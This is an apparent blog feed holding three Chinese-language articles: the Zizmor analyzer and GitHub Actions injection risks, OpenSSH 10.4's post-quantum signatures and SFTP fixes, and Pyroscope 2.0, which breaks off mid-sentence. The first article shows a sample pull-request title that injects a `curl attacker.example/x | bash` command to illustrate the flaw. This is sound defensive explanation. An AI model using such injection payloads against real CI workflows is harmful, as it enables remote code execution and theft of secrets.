      <![CDATA[<p>GitHub Actions 從 2019 年上線到現在，YAML 裡的 <code>$&#123;&#123; &#125;&#125;</code> 表達式一直維持著幾乎沒有隔離的語意——寫在 <code>run:</code> 區塊裡的表達式會在 shell 展開前被字面代換進去，攻擊者只要能塞控制字元就能取得 runner 的完整權限。這個設計缺陷在 2025 年 3 月的 tj-actions&#x2F;changed-files 事件中被放大到極致：一個被拉去用來偵測 file diff 的 Action，透過被竊取的 PAT 改寫所有版本 tag，最後汙染範圍超過 23,000 個 repo。Zizmor 是社群這一年多以來補位的答案，一支 Rust 寫的靜態分析器，專門攔截這類 CI&#x2F;CD 攻擊面。</p><p>Zizmor 從 2024 年底的初版到 2026 年中的 1.26.x 已經累積 38 條 audit rule，涵蓋範圍從表達式注入、excessive permissions、cache poisoning 一路到 impostor commit 跟 typosquatting。到今年 6 月為止，官方 trophy case 收錄超過 500 個導入專案，包含 CPython、cURL、PyPI、Rust、Sigstore、Apache、Mozilla、Google 內部 repo。Trail of Bits 在 5 月完成對分析器本身的稽核，20 個 issue 中合併了 15 個 PR，其中多半是 YAML anchor 解析的邊界情況。</p><h2 id="tj-actions-事件把-tag-可變性暴露到明面上"><a href="#tj-actions-事件把-tag-可變性暴露到明面上" class="headerlink" title="tj-actions 事件把 tag 可變性暴露到明面上"></a>tj-actions 事件把 tag 可變性暴露到明面上</h2><p>事件本身的技術路徑並不複雜，值得記住的是它證明了 GitHub Actions 生態系裡兩個長期被當成慣例的東西完全靠不住。一是 tag pinning——絕大多數 workflow 引用第三方 action 都是寫成 <code>@v45</code> 或 <code>@main</code>，這種寫法讓 tag 指向哪個 commit 完全由發佈者的 GitHub 帳號控管。二是 log 保護——GitHub 內建的 secret masking 只會遮蔽 workflow 本身宣告的 secret，Runner 記憶體裡其他形式的 credential（比如透過 OIDC token 換出來的短期 AWS key）並不在保護範圍內。</p><p>攻擊者拿到 @tj-actions-bot 的 PAT 之後，把 v1 到 v45 幾十個歷史 tag 全部重寫指向一個新的惡意 commit。這個 commit 在 Node 入口點裡塞了一段 base64，解碼後跑 Python 掃 runner 的 process memory，把 AWS key、npm token、PAT、SSH private key 逐項 dump 進 workflow log。整個作用鏈裡沒有一步是被視為異常操作——CI&#x2F;CD 平臺沒有阻擋 tag rewrite、runner 沒有阻擋讀取自己的 process memory、workflow log 對 public repo 預設可讀。</p><p>CISA 在 3 月 18 日發布緊急通告，同時串起另一個更早的 reviewdog&#x2F;action-setup 事件——<code>v1</code> tag 早在 3 月 11 日就被同一組手法汙染過，只是當時流量小到沒進入視野。反覆同一組攻擊手法能連續得手兩次，說明業界對 CI&#x2F;CD 供應鏈的偵測基本上還是空白。</p><h2 id="表達式注入是-GitHub-Actions-從設計上就沒補的洞"><a href="#表達式注入是-GitHub-Actions-從設計上就沒補的洞" class="headerlink" title="表達式注入是 GitHub Actions 從設計上就沒補的洞"></a>表達式注入是 GitHub Actions 從設計上就沒補的洞</h2><p><code>$&#123;&#123; github.event.issue.title &#125;&#125;</code> 這類語法在 workflow YAML 裡看起來就是普通變數。但 Actions 的執行模型是：YAML 檔案在 job dispatch 時會被解析，<code>$&#123;&#123; &#125;&#125;</code> 內的表達式先在調度階段 evaluate 出結果，然後把結果<strong>字面</strong>替換進 <code>run:</code> 的 shell 腳本，最後才送給 bash 執行。這代表任何 attacker-controlled 的字串——issue title、PR body、branch name、commit message、review comment——只要進到表達式裡就直接變成 shell 語法。</p><p>一個典型的洞是這樣：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> <span class="string">Print</span> <span class="string">PR</span> <span class="string">title</span></span><br><span class="line">  <span class="attr">run:</span> <span class="string">echo</span> <span class="string">&quot;New PR: $<span class="template-variable">&#123;&#123; github.event.pull_request.title &#125;&#125;</span>&quot;</span></span><br></pre></td></tr></table></figure><p>一個外部貢獻者開的 PR 只要把 title 寫成 <code>foo&quot;; curl attacker.example/x | bash; #</code>，就能在 runner 上取得任意程式碼執行權限。要是這個 workflow 用 <code>pull_request_target</code> 觸發（很多人為了讓 fork PR 可以讀 secret 而這樣寫），那 runner 上會有寫入 base repo 的 GITHUB_TOKEN，等於 fork 一個 PR 就能改主 repo 的 code。</p><p>這個問題 GitHub Security 團隊自己在 2024 年就承認是設計層級的缺陷，但因為 breaking change 太大而遲遲沒動核心語意。中間的緩衝是文件層級的建議——用環境變數把 untrusted input 中繼一次，<code>env: PR_TITLE: $&#123;&#123; github.event.pull_request.title &#125;&#125;</code> 再在 shell 裡用 <code>&quot;$PR_TITLE&quot;</code>。問題是這個建議完全依賴開發者記得，實務上根本擋不住量產寫法。</p><p>Zizmor 的 <code>template-injection</code> 規則就是專門為此設計。它會爬過 <code>run:</code> 區塊裡每一個 <code>$&#123;&#123; &#125;&#125;</code>，比對表達式參照的 context 是否落在已知的 untrusted 清單（<code>github.event.*</code> 底下大部分欄位、<code>github.head_ref</code>、<code>inputs.*</code> 在特定觸發器下），如果落在裡面就標為 finding，並建議改寫成 env 中繼的模式。整個規則不需要跑 workflow，只讀 YAML，一秒內能掃完幾十個檔案。</p><h2 id="38-條規則把-CI-CD-攻擊面拆成可稽核的維度"><a href="#38-條規則把-CI-CD-攻擊面拆成可稽核的維度" class="headerlink" title="38 條規則把 CI&#x2F;CD 攻擊面拆成可稽核的維度"></a>38 條規則把 CI&#x2F;CD 攻擊面拆成可稽核的維度</h2><p>Zizmor 的規則集大致分成幾個群組。<strong>表達式與觸發器</strong>這一塊除了 <code>template-injection</code> 之外還有 <code>dangerous-triggers</code>——專門攔截 <code>pull_request_target</code> 和 <code>workflow_run</code> 這種在 base repo 權限下執行的觸發器，因為這兩個是絕大多數 GitHub Actions 供應鏈攻擊的入口。<code>bot-conditions</code> 則盯著 <code>github.actor == &#39;dependabot[bot]&#39;</code> 這種基於 actor 名稱的判斷——這個欄位可以被 spoof，正確做法要看 event payload 裡的 user login。</p><p><strong>權限與機密</strong>這一組包含 <code>excessive-permissions</code>（token scope 過大或宣告 <code>none</code> 反而取得預設全域）、<code>overprovisioned-secrets</code>（<code>secrets.*</code> 整包灌進 job env）、<code>secrets-inherit</code>（reusable workflow 宣告 <code>secrets: inherit</code> 讓上游拿走整批機密）、<code>unredacted-secrets</code>（機密沒過 mask 就寫進 log）、<code>hardcoded-container-credentials</code>（Docker registry 密碼寫死在 YAML 裡）。這幾條在 tj-actions 事件後被寫進 GitHub Advanced Security 的預設稽核，因為攻擊者能拉出來的東西直接取決於 token 的作用範圍。</p><p><strong>引用完整性</strong>這組是後續反 supply chain 攻擊的重點。<code>unpinned-uses</code> 攔任何非 SHA 的 <code>@</code> 引用，這條規則在 1.24 版之後支援 auto-fix——Zizmor 會自動查詢 tag 對應的 commit SHA 並改寫 YAML。<code>impostor-commit</code> 專門看那些 SHA 雖然存在但只出現在 fork 裡的引用，這是攻擊者常用來偽裝合法 commit 的手法。<code>typosquat-uses</code> 比對 owner 名稱跟熱門 action 的相似度，<code>archived-uses</code> 則盯著已封存的 repo——這種 repo 不會再發資安更新，繼續引用等於接受無限期的 known-good 假設。</p><p><strong>Cache 與環境毒化</strong>這組稍微冷門但很致命。<code>cache-poisoning</code> 追 release workflow 是否會把 build state 寫進 GitHub Actions cache——因為 cache key 由 branch 決定，如果攻擊者能在 fork 上跑同一個 workflow 就有機會把汙染過的 build cache 塞回 base branch。<code>github-env</code> 追那些對 <code>GITHUB_ENV</code>&#x2F;<code>GITHUB_PATH</code> 寫入的動作，這兩個檔案在 downstream step 會被當成環境變數展開，形同 late-binding 的 shell 注入。</p><p>還有幾條規則設計上偏 pedantic——<code>anonymous-definition</code>（workflow 沒寫 <code>name:</code>）、<code>undocumented-permissions</code>（每個 permission 沒附註解說明理由）——預設關閉，只有在跑 <code>--pedantic</code> 時才會出。這是 Zizmor 少見的取捨：作者明確拒絕把 noise 打進預設輸出，也不接受 severity 從 warn 降到 info 就當成 opt-out。</p><h2 id="導入實務：Docker-一行或-GitHub-Action-三行"><a href="#導入實務：Docker-一行或-GitHub-Action-三行" class="headerlink" title="導入實務：Docker 一行或 GitHub Action 三行"></a>導入實務：Docker 一行或 GitHub Action 三行</h2><p>Zizmor 在自架 CI 環境的導入路徑很短，因為它就是一支 Rust binary，沒有 daemon、沒有 DB。最直接的方式是拉官方 Docker image 掃單一 workflow：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">docker run --<span class="built_in">rm</span> -v $(<span class="built_in">pwd</span>):/repo ghcr.io/zizmorcore/zizmor:latest \</span><br><span class="line">  /repo/.github/workflows</span><br></pre></td></tr></table></figure><p>要在 CI 裡跑就用官方提供的 zizmor-action：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="bullet">-</span> <span class="attr">uses:</span> <span class="string">zizmorcore/zizmor-action@v0.2.0</span></span><br><span class="line">  <span class="attr">with:</span></span><br><span class="line">    <span class="attr">persona:</span> <span class="string">pedantic</span></span><br><span class="line">    <span class="attr">inputs:</span> <span class="string">.github/workflows</span></span><br></pre></td></tr></table></figure><p>輸出格式有 <code>plain</code>、<code>sarif</code>、<code>json</code> 三種。SARIF 是 GitHub Advanced Security 認的格式，直接上傳就能在 repo 的 Security 分頁看到每個 finding 的檔案位置、規則說明、建議修法。這一段是 Zizmor 相對於其他 shell script 型 linter（比如 actionlint）的關鍵優勢——findings 進 native GitHub UI，開發者不必離開瀏覽器就能追蹤。</p><p>Auto-fix 目前主要支援 <code>unpinned-uses</code>。跑 <code>zizmor --fix pin-uses --fix-mode=in-place .github/workflows</code>，工具會查每一個 <code>uses:</code> 的 tag 對應 SHA，改寫成 <code>@sha # v1.2.3</code> 這種 SHA-pinned 加註解的格式。這個註解在後續 diff review 時能讓人快速看出實際的版本，不會變成一坨無法追蹤的 hex。要注意 auto-fix 不會處理反覆改寫（比如 tag 被重指到新 SHA 之後），這種情況得靠 Dependabot 或 Renovate 開 bump PR。</p><p>規則自訂走 <code>zizmor.yml</code> 設定檔，可以針對特定 finding 加豁免（比如 <code>github.event.pull_request.number</code> 是純數字，不用擔心注入），也可以透過 <code>forbidden-uses</code> 建立 allowlist——限定 workflow 只能用經過內部審核的 action 名單，這個在企業內部有合規需求時特別實用。</p><h2 id="為什麼寫-Rust-這件事不只是速度"><a href="#為什麼寫-Rust-這件事不只是速度" class="headerlink" title="為什麼寫 Rust 這件事不只是速度"></a>為什麼寫 Rust 這件事不只是速度</h2><p>Zizmor 選 Rust 除了跑得快之外還有一個實用理由：分發簡單。整個 binary 靜態編譯後可以直接放進任何 CI runner，包括 self-hosted 環境。相較之下，用 Python 或 Node 寫的 lint 工具都得處理 runtime 版本、pip 相依、npm 快取這一整套包袱，在 self-hosted runner 上尤其麻煩。Rust binary 直接下載執行，加上 <code>--frozen</code>&#x2F;<code>--locked</code> 這種可重現的相依鎖定，讓 supply chain 這條路上少一個環節。</p><p>實測在中等大小 monorepo（~200 個 workflow 檔案）上，Zizmor 冷跑約 1.5 秒完成，熱跑則是毫秒級。作者刻意把 YAML 解析寫成 zero-copy，並在 rule engine 裡共享 AST，這使得同一個 finding 在多條規則觸發時不會重複解析。整體效能相對於 pre-commit hook 或 pull request check 都完全塞得下。</p><p>比較常見的整合模式是雙層防線：pre-commit 跑 <code>zizmor .github/workflows</code> 攔住基本問題（表達式注入、excessive permissions、unpinned uses），CI 端跑完整規則集加 SARIF 上傳，讓 finding 進 Security 分頁做 assign 跟 dismiss 的追蹤。這個組合下開發者的 loop 很短——寫 workflow 時就會被擋，PR 開出來會看到具體的 line-level annotation，資安團隊有全 repo 的 dashboard 可以稽核。</p><h2 id="這種工具解決的問題跟沒解決的問題"><a href="#這種工具解決的問題跟沒解決的問題" class="headerlink" title="這種工具解決的問題跟沒解決的問題"></a>這種工具解決的問題跟沒解決的問題</h2><p>Zizmor 是靜態分析器，能檢查的只有 YAML 本身跟引用的 action 版本。真正的 runtime 行為——action 執行時到底連了哪些外部網域、寫入了哪些檔案、有沒有 fetch 額外程式碼——它看不到。這一層要靠 StepSecurity 的 Harden-Runner 或類似的 eBPF 監控工具補上。這兩者的分工很清楚：Zizmor 攔的是配置錯誤，Harden-Runner 攔的是 runtime 異常。</p><p>另外，Zizmor 對第三方 action 的內部邏輯完全不做分析，只看引用方式。一個 <code>uses: bad-actor/malicious@sha-of-hell</code> 只要 SHA-pin 過就不會被 <code>unpinned-uses</code> 抓到，即使裡頭寫滿 dump credential 的 Node code。這是 action 生態系結構性問題——目前唯一的緩解是 <code>forbidden-uses</code> 建立內部 allowlist，配合 fork 到內部 org 做 review。</p><p>還有一個常被忽略的角度：Zizmor 本身也是第三方 dependency。導入的時候至少要 SHA-pin <code>zizmor-action</code>，並打開 Dependabot 追蹤更新。這一步很多人省略，結果就變成用一個未 pin 的 security scanner 去掃自己 workflow 的 pinning——邏輯上完全站不住腳。</p><h2 id="結論"><a href="#結論" class="headerlink" title="結論"></a>結論</h2><p>GitHub Actions 這幾年成了實質上的 CI&#x2F;CD 事實標準，但語意層的攻擊面（表達式注入、tag 可變性、excessive permissions）從一開始就沒被平臺方認真補上。tj-actions 事件之後產業終於承認社群工具不能只是 shell script 起家的 linter，Zizmor 這種認真設計的 Rust 靜態分析器補上了那條線，也順勢變成新專案的預設稽核工具。導入成本近乎為零，收益是把整組已知攻擊模式擋在 PR 階段——這種投報比在資安工具裡並不常見。</p><p>在自架 VPS 或內部 CI 環境上跑 GitHub Actions 相容 workflow（Gitea、Forgejo、self-hosted GitHub runner）的團隊，導入 Zizmor 的邊際成本一樣低，也一樣有效——所有規則不依賴 GitHub API，純粹是 YAML 靜態分析。NCSE Network 提供臺灣機房的高效能 VPS，適合部署 self-hosted GitHub runner、Forgejo 或 Gitea 等 CI&#x2F;CD 平臺，搭配像 Zizmor 這類靜態分析工具構築完整的 DevSecOps 流程。詳情可參考 <a href="https://ncse.tw/">NCSE Network</a> 官網。</p>]]>
    </content>
    <id>https://blog.ncse.tw/zizmor-github-actions-supply-chain-static-analyzer-tj-actions/</id>
    <link href="https://blog.ncse.tw/zizmor-github-actions-supply-chain-static-analyzer-tj-actions/"/>
    <published>2026-08-22T06:00:00.000Z</published>
    <summary>2025 年 tj-actions/changed-files 供應鏈事件把 23,000 個 repo 的機密洩到公開 log，暴露 GitHub Actions 從一開始就沒補的表達式注入與 tag 可變性問題。Zizmor 是社群補位的答案，用 Rust 寫成的靜態分析器，涵蓋 38 條規則、支援 auto-fix、可直接接進 GitHub Security 分頁。本文拆解攻擊路徑、規則設計與導入實務。</summary>
    <title>tj-actions 一次汙染兩萬 repo、GitHub Actions 表達式注入十年沒補：Zizmor 用 Rust 靜態分析器把 38 條 CI/CD 攻擊面掃出來，unpinned-uses 還能 auto-fix</title>
    <updated>2026-09-10T01:13:30.525Z</updated>
  </entry>
  <entry>
    <author>
      <name>NCSE Network</name>
    </author>
    <category term="OpenSSH" scheme="https://blog.ncse.tw/tags/OpenSSH/"/>
    <category term="Post-Quantum Cryptography" scheme="https://blog.ncse.tw/tags/Post-Quantum-Cryptography/"/>
    <category term="ML-DSA" scheme="https://blog.ncse.tw/tags/ML-DSA/"/>
    <category term="SSH 安全性" scheme="https://blog.ncse.tw/tags/SSH-%E5%AE%89%E5%85%A8%E6%80%A7/"/>
    <category term="VPS 維運" scheme="https://blog.ncse.tw/tags/VPS-%E7%B6%AD%E9%81%8B/"/>
    <content>
      <![CDATA[<p>OpenSSH 從 10.0 起就把 <code>mlkem768x25519-sha256</code> 訂為預設的金鑰交換演算法，到了 10.1 甚至會對沒有走 post-quantum KEX 的連線直接跳警告。過了將近一年，簽章這一塊卻沒動——host key、使用者金鑰依舊只剩 Ed25519、ECDSA、RSA 三個可選。2026 年 7 月 6 日釋出的 10.4 把這個空缺補起來：ML-DSA 44 加 Ed25519 的複合簽章第一次以實驗算法的身分進主線，<code>ssh-keygen -t mldsa44-ed25519</code> 可以直接生出 host key 或使用者金鑰。同一份 changelog 裡塞的另一組修補更值得先看——SFTP 跟 SCP 客戶端被惡意伺服器牽著鼻子把檔案寫到別的路徑的漏洞，是這次八項安全修補中影響面最廣的一支。</p><h2 id="為什麼-KEX-換完了簽章還得再換一次"><a href="#為什麼-KEX-換完了簽章還得再換一次" class="headerlink" title="為什麼 KEX 換完了簽章還得再換一次"></a>為什麼 KEX 換完了簽章還得再換一次</h2><p>Post-quantum KEX 解決的是「今天錄下來、明天量子電腦算出 session key」這條 store-now-decrypt-later 攻擊路徑，重點是保護連線內容的機密性。簽章不一樣，被破解的後果是身分冒充：一把用了三年的 host key 私鑰如果哪天被推回來，攻擊者就能在中間人位置對舊客戶端偽造成整臺伺服器。長效金鑰的威脅視窗遠比 session 長，可是真正能落地的 post-quantum 簽章方案一直卡在成本問題上。</p><p>ML-DSA 44 是 NIST FIPS 204 標準底下最小一組參數，公開金鑰 1312 位元組、簽章 2420 位元組，跟 Ed25519 的 32 位元組公鑰、64 位元組簽章比起來，膨脹的是好幾十倍。放進 SSH 握手裡，多出來的往返延遲跟頻寬對走一般網際網路的 VPS 影響有限，但在高頻自動化情境——CI runner 對 Git 伺服器每分鐘拉數十次、Ansible 對數百臺主機 fan-out——就會被放大。10.4 的做法是把 ML-DSA 44 跟 Ed25519 拼成 composite signature，同一組金鑰同時產出兩個簽章，任一邊被破解另一邊還撐得住。設計文件是 IETF 的 <code>draft-miller-sshm-mldsa44-ed25519-composite-sigs</code>，實作上仍算實驗，還沒進 draft-standard 階段。</p><h2 id="mldsa44-ed25519-在自架伺服器上的最小可行設定"><a href="#mldsa44-ed25519-在自架伺服器上的最小可行設定" class="headerlink" title="mldsa44-ed25519 在自架伺服器上的最小可行設定"></a>mldsa44-ed25519 在自架伺服器上的最小可行設定</h2><p>生金鑰的動作跟過去沒兩樣：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ssh-keygen -t mldsa44-ed25519 -f ~/.ssh/id_mldsa44_ed25519 -C <span class="string">&quot;vps-2026&quot;</span></span><br></pre></td></tr></table></figure><p>實際會產出將近 4 KB 的公開金鑰檔，<code>authorized_keys</code> 貼進去照樣認得。伺服器端要在 <code>/etc/ssh/sshd_config</code> 補一組 host key 設定，並把演算法加進允許清單：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">HostKey /etc/ssh/ssh_host_mldsa44_ed25519_key</span><br><span class="line">HostKeyAlgorithms +ssh-mldsa44-ed25519@openssh.com</span><br><span class="line">PubkeyAcceptedAlgorithms +ssh-mldsa44-ed25519@openssh.com</span><br></pre></td></tr></table></figure><p><code>+</code> 前綴是接在預設清單後面而不取代——這一點很關鍵，寫成 <code>=</code> 或忘了前綴會把 Ed25519、RSA 一起洗掉，非 10.4 客戶端從此連不進來。客戶端這邊 <code>~/.ssh/config</code> 也得配一份，只設伺服器不設客戶端，握手時仍會回落到 Ed25519：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Host vps-2026</span><br><span class="line">    HostKeyAlgorithms ^ssh-mldsa44-ed25519@openssh.com</span><br><span class="line">    PubkeyAcceptedAlgorithms ^ssh-mldsa44-ed25519@openssh.com</span><br></pre></td></tr></table></figure><p><code>^</code> 是把該演算法插到清單最前，優先協商。日常維運上實驗算法建議只用在特定機器上——用 <code>Match host</code> 或 <code>Host</code> block 圈住，避免整個 fleet 一次改動。至於現有的 Ed25519 host key 該不該砍掉，答案是不該。並存跑一段時間、把 <code>known_hosts</code> 上的 mldsa44 fingerprint 分發完再收掉舊的，任何一步爆炸都還有回頭路。</p><h2 id="SFTP-的路徑竊改比新演算法更急"><a href="#SFTP-的路徑竊改比新演算法更急" class="headerlink" title="SFTP 的路徑竊改比新演算法更急"></a>SFTP 的路徑竊改比新演算法更急</h2><p><code>sftp host:/path .</code> 這種命令列下載，過去預設信任伺服器回傳的檔名。10.4 修的其中一支洞就是：惡意伺服器可以在回應裡塞入包含目錄跳脫的檔名，讓客戶端把檔案寫到工作目錄以外的位置，最惡劣的情形是覆蓋掉 <code>.ssh/authorized_keys</code> 或 shell 啟動腳本。SCP 的 remote-to-remote 傳輸也吃到類似的問題，惡意來源可以把檔案倒進上層目錄。兩個都不是要 root 權限、也不需要客戶端接受任何提示的漏洞——只要對方伺服器被打下來、或本來就是不可信的第三方，帳號跑起 sftp&#x2F;scp 那一刻就中招。</p><p>另一個容易被忽略的修補在 <code>sshd</code> 的 <code>internal-sftp</code> 子系統上：命令列超過九個引數之後靜默截斷。這代表 <code>ForceCommand internal-sftp -f -u -d /jail -R -e -o LogLevel=INFO -p 22 -X</code> 這類長設定可能有安全相關的參數就這樣被吃掉、卻沒任何錯誤訊息。用 chroot SFTP 做多租戶檔案伺服器的部署要特別回頭檢查一次。GSSAPI 預先認證的 DoS 影響範圍窄一點，只針對開了 <code>GSSAPIAuthentication yes</code> 的機器；rekey 過程中伺服器更換 host key 觸發客戶端 UAF 的那支，則是 10.4 修掉的 memory safety 洞裡最紮實的一項。</p><h2 id="三個容易漏看的-breaking-change"><a href="#三個容易漏看的-breaking-change" class="headerlink" title="三個容易漏看的 breaking change"></a>三個容易漏看的 breaking change</h2><p>第一個是 <code>sshd -G</code> 印出的 directive 名稱從全小寫改成混合大小寫，例如 <code>pubkeyauthentication</code> 變成 <code>PubkeyAuthentication</code>。任何用 grep 或 awk 剖析這份輸出的組態管理工具、監控腳本，都得先確認過。Puppet、Chef、Ansible 用來驗證 sshd 設定的 module 幾乎都會踩到。</p><p>第二個是 Linux 上的 seccomp sandbox 失敗行為改為 fatal。過去 seccomp 建不起來會回落到其他 sandbox 或直接繼續跑，10.4 把這個容忍度收掉了——除非在編譯時或 <code>sshd_config</code> 裡明確關閉，否則沙盒建不起來 sshd 就不會啟動。跑在很舊的 kernel 或客製化 syscall filter 的環境會被擋在門口。</p><p>第三個是傳輸層現在會直接踢掉在 post-authentication rekey 過程中送出非 KEX 訊息的對端。過去有些連線多工工具或不夠嚴謹的 SSH 函式庫會在這個窗口塞 SSH_MSG_CHANNEL_DATA，之前是被忽略，現在是斷線。開源函式庫如 golang.org&#x2F;x&#x2F;crypto&#x2F;ssh、paramiko 的舊版本可能會踩到，先在測試環境跑過一輪比較保險。</p><h2 id="該不該現在就升上去"><a href="#該不該現在就升上去" class="headerlink" title="該不該現在就升上去"></a>該不該現在就升上去</h2><p>現階段的實際建議很單純：安全修補該立刻拉，post-quantum 簽章可以先在少數幾臺實驗機開起來。SFTP 跟 SCP 的路徑竊改沒有 CVSS 9.x 的耀眼分數，可是攻擊條件低、後果直接——共用 SFTP jail 主機、CI 使用第三方 registry、跨組織備份都在暴露面上。相較之下複合簽章目前只是 draft、跟不支援的客戶端互通還會被強制 downgrade，把 Ed25519 全數換掉沒有實質好處，但拿一臺跳板機或 bastion 起頭跑一下，累積操作經驗、確認硬體 token（例如 YubiKey firmware 對 mldsa44 的支援進度）跟自動化流程能跟上，是務實的下一步。</p><p>NCSE Network 的臺灣是方電訊機房 VPS 全線支援自帶 kernel 跟自訂 OpenSSH build，Intel Gold CPU 加 NVMe SSD 的組合處理 ML-DSA 簽章驗證幾乎感覺不到額外開銷，適合拿來作為 post-quantum SSH 的實驗與遷移環境。有興趣把長效身分金鑰提前抗量子化、或想在正式導入前先評估握手成本的團隊，可以到 <a href="https://ncse.tw/">ncse.tw</a> 了解相關方案。</p>]]>
    </content>
    <id>https://blog.ncse.tw/openssh-10-4-mldsa44-ed25519-composite-signature-sftp-path-traversal/</id>
    <link href="https://blog.ncse.tw/openssh-10-4-mldsa44-ed25519-composite-signature-sftp-path-traversal/"/>
    <published>2026-08-21T02:00:00.000Z</published>
    <summary>OpenSSH 10.4 在 2026 年 7 月上線，把 ML-DSA 44 加 Ed25519 的複合簽章實驗性接進主線，post-quantum host key 跟使用者金鑰第一次能生；同時把 SFTP 客戶端被伺服器導向任意路徑、GSSAPI 預先認證 DoS 跟 rekey 時的 client UAF 全補起來。本文說明為什麼簽章跟 KEX 該分開想、怎麼在自架 VPS 上開啟這個實驗算法、以及 sshd -G 大小寫變更、Linux seccomp fatal 幾個容易踩雷的 breaking change。</summary>
    <title>OpenSSH KEX 換完 mlkem 剩下簽章沒動：10.4 用 mldsa44-ed25519 補完 post-quantum 的最後一哩，順手修掉 SFTP 客戶端被牽著鼻子走的路徑洞</title>
    <updated>2026-09-10T01:13:30.521Z</updated>
  </entry>
  <entry>
    <author>
      <name>NCSE Network</name>
    </author>
    <category term="VPS" scheme="https://blog.ncse.tw/tags/VPS/"/>
    <category term="自架服務" scheme="https://blog.ncse.tw/tags/%E8%87%AA%E6%9E%B6%E6%9C%8D%E5%8B%99/"/>
    <category term="eBPF" scheme="https://blog.ncse.tw/tags/eBPF/"/>
    <category term="OpenTelemetry" scheme="https://blog.ncse.tw/tags/OpenTelemetry/"/>
    <category term="觀測性" scheme="https://blog.ncse.tw/tags/%E8%A7%80%E6%B8%AC%E6%80%A7/"/>
    <category term="Pyroscope" scheme="https://blog.ncse.tw/tags/Pyroscope/"/>
    <category term="連續 profiling" scheme="https://blog.ncse.tw/tags/%E9%80%A3%E7%BA%8C-profiling/"/>
    <content>
      <![CDATA[<p>連續 profiling 這個概念已經被 Google、Netflix、Datadog 講了六七年，但真的把它塞進自架觀測性堆疊裡跑起來的臺灣團隊仍然屈指可數。原因不是技術理解跟不上，而是過去的開源方案要不就是抄了 Cortex 那套「寫入三份、讀取要 Redis 協調」的架構、單機根本跑不動，要不就是儲存跟符號解析的成本堆到比 metrics 加 logs 加起來還高，光是資源需求就把 VPS 級部署踢出候選名單。這個門檻在 2026 年 4 月被 Pyroscope 2.0 直接拉低——寫入路徑的複製整個拔掉、讀取路徑改成 stateless、符號資訊去重率高達 95%——加上 OpenTelemetry Profiles 訊號同年 3 月進 public alpha、把 pprof 收進 OTLP，這兩件事合起來讓自架連續 profiling 第一次成為 VPS 上真的裝得起來的東西。</p><h2 id="寫入路徑三份複製是怎麼變成連續-profiling-的原罪"><a href="#寫入路徑三份複製是怎麼變成連續-profiling-的原罪" class="headerlink" title="寫入路徑三份複製是怎麼變成連續 profiling 的原罪"></a>寫入路徑三份複製是怎麼變成連續 profiling 的原罪</h2><p>Pyroscope 1.x 的架構基本上是照 Grafana 自家的 Mimir、Loki、Tempo 那套抄過來的——ingester 端每收到一筆資料就往三個節點複製、之後才算 ack、確保任何單一 ingester 掛掉都不會丟資料。這套設計在 metrics 跟 logs 上是合理的，因為單筆資料只有幾十到幾百 bytes、複製兩份的網路與磁碟成本感受不到。</p><p>Profile 就完全不是這回事。單個 CPU profile 抓下來動輒 5 到 20 MB，含符號資訊時上百 MB 也不奇怪，而且熱門服務每分鐘會產出好幾份。三倍複製直接讓寫入 IOPS 跟儲存空間各膨脹三倍，加上 ingester 記憶體要撐得住三份 in-flight 資料，單臺機器動不動需要 32 GB RAM 才能起得順。Grafana 官方自己的部署經驗是分散式 Pyroscope 1.x 從安裝到穩定跑起來平均要花 8 到 12 小時、需要協調 5 到 7 個元件（ingester、querier、store-gateway、compactor、distributor、Consul、Redis），這個複雜度在企業 K8s 環境或許還算合理，但拿到 4 核 8 GB 的 VPS 上想跑「就是我自己一個人用」的觀測性堆疊，完全不成比例。</p><h2 id="Pyroscope-2-0-把寫入複製整個拿掉"><a href="#Pyroscope-2-0-把寫入複製整個拿掉" class="headerlink" title="Pyroscope 2.0 把寫入複製整個拿掉"></a>Pyroscope 2.0 把寫入複製整個拿掉</h2><p>2.0 的核心決定是承認 profile 資料型態跟 metric、log 不同，該用不同架構。寫入路徑改成單寫入直接落到物件儲存——S3、MinIO、Garage、Cloudflare R2 都行——由物件儲存本身的多副本保證資料耐久性，Pyroscope 自己不再做應用層複製。這個改動的前提是 write path 上的資料在 flush 到 object storage 之前只暫存在單一節點的記憶體 buffer，看起來風險提高了，但 Grafana Cloud Profiles 自己從 2025 年 4 月就在生產跑 2.0 至今沒有大規模資料遺失事件，實務上這個 trade-off 站得住腳。</p><p>第二個決定是把符號資訊的儲存做去重。同一支 Go binary 在同一小時內產出的 100 份 profile，函數名稱、原始碼位置、堆疊 frame 幾乎完全一樣，1.x 把這些字串重複塞進每一份 profile 裡，2.0 則把符號資訊拉出來單獨 dedupe、同服務的 profile 共用一份符號表。官方在 Grafana Cloud 上量到的結果是符號儲存足跡最多可以降 95%，對於自架環境意味著同樣的 S3 或 MinIO 帳單能撐 20 倍長度的保留期。</p><p>Address-level 的 symbolizer 也在 2.0 拉成公開 API。過去要在自架環境上讓 profile 顯示對的函數名稱、行號，得靠 client-side symbolizer 或部分商業 profiler 內建的符號解析，2.0 直接把這條路徑內建到 server 端，跑 Go、Java、Python、Rust、C&#x2F;C++ 的 binary 都能靠上傳 debug info 或 buildid 讓 Pyroscope 自己解出符號來。這對 eBPF profile 特別關鍵——kernel 端抓回來的 stack trace 只有 address、沒有符號，過去要在 Agent 端裝一堆 symbol resolution 工具，現在集中在 Pyroscope 一邊就結束。</p><h2 id="讀取路徑-stateless-帶來的部署簡化"><a href="#讀取路徑-stateless-帶來的部署簡化" class="headerlink" title="讀取路徑 stateless 帶來的部署簡化"></a>讀取路徑 stateless 帶來的部署簡化</h2><p>1.x 的 store-gateway 是有狀態元件，query 進來時要靠它在記憶體裡維護 tenant 對 tenant 的 index、chunk 位置、bloom 